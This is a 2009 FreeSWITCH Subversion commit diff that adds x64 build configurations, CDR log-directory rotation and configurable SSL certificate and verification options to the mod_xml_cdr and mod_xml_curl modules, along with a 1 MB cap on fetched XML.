--- freeswitch/branches/seven/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -79,6 +82,71 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops;..\..\..\..\w32\curl.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=""
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\curl.vsprops"
@@ -141,6 +209,72 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\curl.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=""
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,7 +17,7 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
@@ -40,16 +40,26 @@
 	char *urls[MAX_URLS+1];
 	int url_count;
 	int url_index;
+	switch_thread_rwlock_t *log_path_lock;
+	char *base_log_dir;
+	char *base_err_log_dir;
 	char *log_dir;
 	char *err_log_dir;
 	uint32_t delay;
 	uint32_t retries;
 	uint32_t shutdown;
-	uint32_t ignore_cacert_check;
+	uint32_t enable_cacert_check;
+	char *ssl_cert_file;
+	char *ssl_key_file;
+	char *ssl_key_password;
+	char *ssl_version;
+	char *ssl_cacert_file;
+	uint32_t enable_ssl_verifyhost;
 	int encode;
 	int log_b;
 	int prefix_a;
 	int disable100continue;
+	int rotate;
 	switch_memory_pool_t *pool;
 } globals;
 
@@ -66,8 +76,108 @@
 	return size * nitems;
 }
 
-static switch_status_t my_on_hangup(switch_core_session_t *session)
+static switch_status_t set_xml_cdr_log_dirs()
 {
+	switch_time_exp_t tm;
+	char *path = NULL;
+	char date[80] = "";
+	switch_size_t retsize;
+	switch_status_t status = SWITCH_STATUS_SUCCESS, dir_status;
+
+	switch_time_exp_lt(&tm, switch_micro_time_now());
+	switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d-%H-%M-%S", &tm);
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Rotating log file paths\n");
+
+	if (!switch_strlen_zero(globals.base_log_dir)) {
+		if (globals.rotate) {
+			if ((path = switch_mprintf("%s%s%s", globals.base_log_dir, SWITCH_PATH_SEPARATOR, date))) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Rotating log file path to %s\n", path);
+
+				dir_status = SWITCH_STATUS_SUCCESS;
+				if (switch_directory_exists(path, globals.pool) != SWITCH_STATUS_SUCCESS) {
+					dir_status = switch_dir_make(path, SWITCH_FPROT_OS_DEFAULT, globals.pool);
+				}
+
+				if (dir_status == SWITCH_STATUS_SUCCESS) {
+					switch_thread_rwlock_wrlock(globals.log_path_lock);
+					switch_safe_free(globals.log_dir);
+					globals.log_dir = path;
+					switch_thread_rwlock_unlock(globals.log_path_lock);
+				}
+				else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to create new mod_xml_cdr log_dir path\n");
+					switch_safe_free(path);
+					status = SWITCH_STATUS_FALSE;
+				}
+			}
+			else {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to generate new mod_xml_cdr log_dir path\n");
+				status = SWITCH_STATUS_FALSE;
+			}
+		}
+		else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Setting log file path to %s\n", globals.base_log_dir);
+			if ((path = switch_safe_strdup(globals.base_log_dir))) {
+				switch_thread_rwlock_wrlock(globals.log_path_lock);
+				switch_safe_free(globals.log_dir);
+				globals.log_dir = path;
+				switch_thread_rwlock_unlock(globals.log_path_lock);
+			}
+			else {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to set log_dir path\n");
+				status = SWITCH_STATUS_FALSE;
+			}
+		}
+	}
+
+	if (!switch_strlen_zero(globals.base_err_log_dir)) {
+		if (globals.rotate) {
+			if ((path = switch_mprintf("%s%s%s", globals.base_err_log_dir, SWITCH_PATH_SEPARATOR, date))) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Rotating err log file path to %s\n", path);
+
+				dir_status = SWITCH_STATUS_SUCCESS;
+				if (switch_directory_exists(path, globals.pool) != SWITCH_STATUS_SUCCESS) {
+					dir_status = switch_dir_make(path, SWITCH_FPROT_OS_DEFAULT, globals.pool);
+				}
+
+				if (dir_status == SWITCH_STATUS_SUCCESS) {
+					switch_thread_rwlock_wrlock(globals.log_path_lock);
+					switch_safe_free(globals.err_log_dir);
+					globals.err_log_dir = path;
+					switch_thread_rwlock_unlock(globals.log_path_lock);
+				}
+				else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to create new mod_xml_cdr err_log_dir path\n");
+					switch_safe_free(path);
+					status = SWITCH_STATUS_FALSE;
+				}
+			}
+			else {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to generate new mod_xml_cdr err_log_dir path\n");
+				status = SWITCH_STATUS_FALSE;
+			}
+		}
+		else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Setting err log file path to %s\n", globals.base_err_log_dir);
+			if ((path = switch_safe_strdup(globals.base_err_log_dir))) {
+				switch_thread_rwlock_wrlock(globals.log_path_lock);
+				switch_safe_free(globals.err_log_dir);
+				globals.err_log_dir = path;
+				switch_thread_rwlock_unlock(globals.log_path_lock);
+			}
+			else {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to set err_log_dir path\n");
+				status = SWITCH_STATUS_FALSE;
+			}
+		}
+	}
+
+	return status;
+}
+
+static switch_status_t my_on_reporting(switch_core_session_t *session)
+{
 	switch_xml_t cdr;
 	char *xml_text = NULL;
 	char *path = NULL;
@@ -107,13 +217,21 @@
 		goto error;
 	}
 
+	switch_thread_rwlock_rdlock(globals.log_path_lock);
+
 	if (!(logdir = switch_channel_get_variable(channel, "xml_cdr_base"))) {
 		logdir = globals.log_dir;
 	}
 
 	if (!switch_strlen_zero(logdir)) {
-		if ((path = switch_mprintf("%s%s%s%s.cdr.xml", logdir, SWITCH_PATH_SEPARATOR, a_prefix, switch_core_session_get_uuid(session)))) {
+		path = switch_mprintf("%s%s%s%s.cdr.xml", logdir, SWITCH_PATH_SEPARATOR, a_prefix, switch_core_session_get_uuid(session));
+		switch_thread_rwlock_unlock(globals.log_path_lock);
+		if (path) {
+#ifdef _MSC_VER
 			if ((fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR)) > -1) {
+#else
+			if ((fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR| S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH)) > -1) {
+#endif
 				int wrote;
 				wrote = write(fd, xml_text, (unsigned) strlen(xml_text));
 				close(fd);
@@ -130,6 +248,9 @@
 			switch_safe_free(path);
 		}
 	}
+	else {
+		switch_thread_rwlock_unlock(globals.log_path_lock);
+	}
 
 	/* try to post it to the web server */
 	if (globals.url_count) {
@@ -174,10 +295,30 @@
 			slist = curl_slist_append(slist, "Expect:");
 			curl_easy_setopt(curl_handle, CURLOPT_HTTPHEADER, slist);
 		}
-
-		if (globals.ignore_cacert_check) {
-			curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, FALSE);
+		
+		if (globals.ssl_cert_file) {
+			curl_easy_setopt(curl_handle, CURLOPT_SSLCERT, globals.ssl_cert_file);
 		}
+		
+		if (globals.ssl_key_file) {
+			curl_easy_setopt(curl_handle, CURLOPT_SSLKEY, globals.ssl_key_file);
+		}
+		
+		if (globals.ssl_key_password) {
+			curl_easy_setopt(curl_handle, CURLOPT_SSLKEYPASSWD, globals.ssl_key_password);
+		}
+		
+		if (globals.ssl_version) {
+			if (!strcasecmp(globals.ssl_version, "SSLv3")) {
+				curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_SSLv3);
+			} else if (!strcasecmp(globals.ssl_version, "TLSv1")) {
+				curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1);
+			}
+		}
+		
+		if (globals.ssl_cacert_file) {
+			curl_easy_setopt(curl_handle, CURLOPT_CAINFO, globals.ssl_cacert_file);
+		}
 
 		/* these were used for testing, optionally they may be enabled if someone desires
 		   curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, 120); // tcp timeout
@@ -195,6 +336,14 @@
 				curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
 				curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
 			}
+			
+			if (globals.enable_cacert_check) {
+				curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, TRUE);
+			}
+			
+			if (globals.enable_ssl_verifyhost) {
+				curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 2);
+			}
 
 			curl_easy_perform(curl_handle);
 			curl_easy_getinfo(curl_handle, CURLINFO_RESPONSE_CODE, &httpRes);
@@ -221,8 +370,15 @@
 		/* if we are here the web post failed for some reason */
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to post to web server, writing to file\n");
 
-		if ((path = switch_mprintf("%s%s%s%s.cdr.xml", globals.err_log_dir, SWITCH_PATH_SEPARATOR, a_prefix, switch_core_session_get_uuid(session)))) {
+		switch_thread_rwlock_rdlock(globals.log_path_lock);
+		path = switch_mprintf("%s%s%s%s.cdr.xml", globals.err_log_dir, SWITCH_PATH_SEPARATOR, a_prefix, switch_core_session_get_uuid(session));
+		switch_thread_rwlock_unlock(globals.log_path_lock);
+		if (path) {
+#ifdef _MSC_VER
 			if ((fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR)) > -1) {
+#else
+			if ((fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH)) > -1) {
+#endif
 				int wrote;
 				wrote = write(fd, xml_text, (unsigned) strlen(xml_text));
 				close(fd);
@@ -260,13 +416,29 @@
 	return status;
 }
 
+static void event_handler(switch_event_t *event)
+{
+	const char *sig = switch_event_get_header(event, "Trapped-Signal");
+
+	if (sig && !strcmp(sig, "HUP")) {
+		if (globals.rotate) {
+			set_xml_cdr_log_dirs();
+		}
+	}
+}
+
 static switch_state_handler_table_t state_handlers = {
 	/*.on_init */ NULL,
 	/*.on_routing */ NULL,
 	/*.on_execute */ NULL,
-	/*.on_hangup */ my_on_hangup,
+	/*.on_hangup */ NULL,
 	/*.on_exchange_media */ NULL,
-	/*.on_soft_execute */ NULL
+	/*.on_soft_execute */ NULL,
+	/*.on_consume_media*/ NULL,
+	/*.on_hibernate*/ NULL,
+	/*.on_reset*/ NULL,
+	/*.on_park*/ NULL,
+	/*.on_reporting*/ my_on_reporting
 };
 
 SWITCH_MODULE_LOAD_FUNCTION(mod_xml_cdr_load)
@@ -280,10 +452,16 @@
 
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
 
+	if (switch_event_bind(modname, SWITCH_EVENT_TRAP, SWITCH_EVENT_SUBCLASS_ANY, event_handler, NULL) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
+		return SWITCH_STATUS_GENERR;
+	}
+
 	memset(&globals, 0, sizeof(globals));
 	globals.log_b = 1;
 	globals.disable100continue = 0;
 	globals.pool = pool;
+	switch_thread_rwlock_create(&globals.log_path_lock, pool);
 
 	/* parse the config */
 	if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
@@ -320,35 +498,49 @@
 				}
 			} else if (!strcasecmp(var, "retries") && !switch_strlen_zero(val)) {
 				globals.retries = (uint32_t) atoi(val);
+			} else if (!strcasecmp(var, "rotate") && !switch_strlen_zero(val)) {
+				globals.rotate = switch_true(val);
 			} else if (!strcasecmp(var, "log-dir")) {
 				if (switch_strlen_zero(val)) {
-					globals.log_dir = switch_mprintf("%s%sxml_cdr", SWITCH_GLOBAL_dirs.log_dir, SWITCH_PATH_SEPARATOR);
+					globals.base_log_dir = switch_mprintf("%s%sxml_cdr", SWITCH_GLOBAL_dirs.log_dir, SWITCH_PATH_SEPARATOR);
 				} else {
 					if (switch_is_file_path(val)) {
-						globals.log_dir = switch_core_strdup(globals.pool, val);
+						globals.base_log_dir = switch_core_strdup(globals.pool, val);
 					} else {
-						globals.log_dir = switch_mprintf("%s%s%s", SWITCH_GLOBAL_dirs.log_dir, SWITCH_PATH_SEPARATOR, val);
+						globals.base_log_dir = switch_mprintf("%s%s%s", SWITCH_GLOBAL_dirs.log_dir, SWITCH_PATH_SEPARATOR, val);
 					}
 				}
 			} else if (!strcasecmp(var, "err-log-dir")) {
 				if (switch_strlen_zero(val)) {
-					globals.err_log_dir = switch_mprintf("%s%sxml_cdr", SWITCH_GLOBAL_dirs.log_dir, SWITCH_PATH_SEPARATOR);
+					globals.base_err_log_dir = switch_mprintf("%s%sxml_cdr", SWITCH_GLOBAL_dirs.log_dir, SWITCH_PATH_SEPARATOR);
 				} else {
 					if (switch_is_file_path(val)) {
-						globals.err_log_dir = switch_core_strdup(globals.pool, val);
+						globals.base_err_log_dir = switch_core_strdup(globals.pool, val);
 					} else {
-						globals.err_log_dir = switch_mprintf("%s%s%s", SWITCH_GLOBAL_dirs.log_dir, SWITCH_PATH_SEPARATOR, val);
+						globals.base_err_log_dir = switch_mprintf("%s%s%s", SWITCH_GLOBAL_dirs.log_dir, SWITCH_PATH_SEPARATOR, val);
 					}
 				}
-			} else if (!strcasecmp(var, "ignore-cacert-check") && switch_true(val)) {
-				globals.ignore_cacert_check = 1;
+			} else if (!strcasecmp(var, "enable-cacert-check") && switch_true(val)) {
+				globals.enable_cacert_check = 1;
+			} else if (!strcasecmp(var, "ssl-cert-path")) {
+				globals.ssl_cert_file = val;
+			} else if (!strcasecmp(var, "ssl-key-path")) {
+				globals.ssl_key_file = val;
+			} else if (!strcasecmp(var, "ssl-key-password")) {
+				globals.ssl_key_password = val;
+			} else if (!strcasecmp(var, "ssl-version")) {
+				globals.ssl_version = val;
+			} else if (!strcasecmp(var, "ssl-cacert-file")) {
+				globals.ssl_cacert_file = val;
+			} else if (!strcasecmp(var, "enable-ssl-verifyhost") && switch_true(val)) {
+				globals.enable_ssl_verifyhost = 1;
 			}
-
-			if (switch_strlen_zero(globals.err_log_dir)) {
-				if (!switch_strlen_zero(globals.log_dir)) {
-					globals.err_log_dir = switch_core_strdup(globals.pool, globals.log_dir);
+		
+			if (switch_strlen_zero(globals.base_err_log_dir)) {
+				if (!switch_strlen_zero(globals.base_log_dir)) {
+					globals.base_err_log_dir = switch_core_strdup(globals.pool, globals.base_log_dir);
 				} else {
-					globals.err_log_dir = switch_core_sprintf(globals.pool, "%s%sxml_cdr", SWITCH_GLOBAL_dirs.log_dir, SWITCH_PATH_SEPARATOR);
+					globals.base_err_log_dir = switch_core_sprintf(globals.pool, "%s%sxml_cdr", SWITCH_GLOBAL_dirs.log_dir, SWITCH_PATH_SEPARATOR);
 				}
 			}
 		}
@@ -365,6 +557,8 @@
 
 	globals.retries++;
 
+	set_xml_cdr_log_dirs();
+
 	switch_xml_free(xml);
 	return status;
 }

Property changes: freeswitch/branches/seven/src/mod/xml_int/mod_xml_curl


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/xml_int/mod_xml_curl/mod_xml_curl.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/xml_int/mod_xml_curl/mod_xml_curl.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/xml_int/mod_xml_curl/mod_xml_curl.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -80,6 +83,72 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops;..\..\..\..\w32\curl.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=""
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\curl.vsprops"
@@ -142,6 +211,72 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\curl.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=""
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/xml_int/mod_xml_curl/mod_xml_curl.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/xml_int/mod_xml_curl/mod_xml_curl.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/xml_int/mod_xml_curl/mod_xml_curl.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Bret McDanel <trixter AT 0xdecafbad.com>
  * Justin Cassidy <xachenant@hotmail.com>
  *
@@ -45,7 +45,14 @@
 	char *cred;
 	int disable100continue;
 	int use_get_style;
-	uint32_t ignore_cacert_check;
+	uint32_t enable_cacert_check;
+	char *ssl_cert_file;
+	char *ssl_key_file;
+	char *ssl_key_password;
+	char *ssl_version;
+	char *ssl_cacert_file;
+	uint32_t enable_ssl_verifyhost;
+	char *cookie_file;
 	switch_hash_t *vars_map;
 	int use_dynamic_url;
 };
@@ -54,9 +61,14 @@
 
 typedef struct xml_binding xml_binding_t;
 
+#define XML_CURL_MAX_BYTES 1024 * 1024
+
 struct config_data {
 	char *name;
 	int fd;
+	switch_size_t bytes;
+	switch_size_t max_bytes;
+	int err;
 };
 
 typedef struct hash_node {
@@ -102,6 +114,15 @@
 	register unsigned int realsize = (unsigned int) (size * nmemb);
 	struct config_data *config_data = data;
 	int x;
+
+	config_data->bytes += realsize;
+
+	if (config_data->bytes > config_data->max_bytes) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int)config_data->bytes);
+		config_data->err = 1;
+		return 0;
+	}
+
 	x = write(config_data->fd, ptr, realsize);
 	if (x != (int) realsize) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Short write! %d out of %d\n", x, realsize);
@@ -184,7 +205,11 @@
 		curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
 	}
 
+	memset(&config_data, 0, sizeof(config_data));
+
 	config_data.name = filename;
+	config_data.max_bytes = XML_CURL_MAX_BYTES;
+
 	if ((config_data.fd = open(filename, O_CREAT | O_RDWR | O_TRUNC, S_IRUSR | S_IWUSR)) > -1) {
 		if (!switch_strlen_zero(binding->cred)) {
 			curl_easy_setopt(curl_handle, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
@@ -208,9 +233,42 @@
 			curl_easy_setopt(curl_handle, CURLOPT_HTTPHEADER, slist);
 		}
 
-		if (binding->ignore_cacert_check) {
-			curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, FALSE);
+		if (binding->enable_cacert_check) {
+			curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, TRUE);
 		}
+	
+		if (binding->ssl_cert_file) {
+			curl_easy_setopt(curl_handle, CURLOPT_SSLCERT, binding->ssl_cert_file);
+		}
+		
+		if (binding->ssl_key_file) {
+			curl_easy_setopt(curl_handle, CURLOPT_SSLKEY, binding->ssl_key_file);
+		}
+		
+		if (binding->ssl_key_password) {
+			curl_easy_setopt(curl_handle, CURLOPT_SSLKEYPASSWD, binding->ssl_key_password);
+		}
+		
+		if (binding->ssl_version) {
+			if (!strcasecmp(binding->ssl_version, "SSLv3")) {
+				curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_SSLv3);
+			} else if (!strcasecmp(binding->ssl_version, "TLSv1")) {
+				curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1);
+			}
+		}
+		
+		if (binding->ssl_cacert_file) {
+			curl_easy_setopt(curl_handle, CURLOPT_CAINFO, binding->ssl_cacert_file);
+		}
+		
+		if (binding->enable_ssl_verifyhost) {
+			curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 2);
+		}
+	
+		if (binding->cookie_file) {
+			curl_easy_setopt(curl_handle, CURLOPT_COOKIEJAR, binding->cookie_file);
+			curl_easy_setopt(curl_handle, CURLOPT_COOKIEFILE, binding->cookie_file);
+		}
 
 		curl_easy_perform(curl_handle);
 		curl_easy_getinfo(curl_handle, CURLINFO_RESPONSE_CODE, &httpRes);
@@ -222,13 +280,18 @@
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening temp file!\n");
 	}
 
-	if (httpRes == 200) {
-		if (!(xml = switch_xml_parse_file(filename))) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Parsing Result!\n");
+	if (config_data.err) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error encountered!\n");
+		xml = NULL;
+	} else {
+		if (httpRes == 200) {
+			if (!(xml = switch_xml_parse_file(filename))) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Parsing Result!\n");
+			}
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Received HTTP error %ld trying to fetch %s\ndata: [%s]\n", httpRes, binding->url, data);
+			xml = NULL;
 		}
-	} else {
